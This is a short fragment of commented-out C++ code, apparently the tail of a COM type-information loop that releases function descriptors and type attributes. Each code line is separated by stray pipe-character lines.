// }
|
||
// }
|
||
// CoTaskMemFree(names);
|
||
// }
|
||
// pTypeInfo->ReleaseFuncDesc(pFuncDesc);
|
||
// }
|
||
// }
|
||
// pTypeInfo->ReleaseTypeAttr(pAttr);
|
||
// }
|
||
// }
|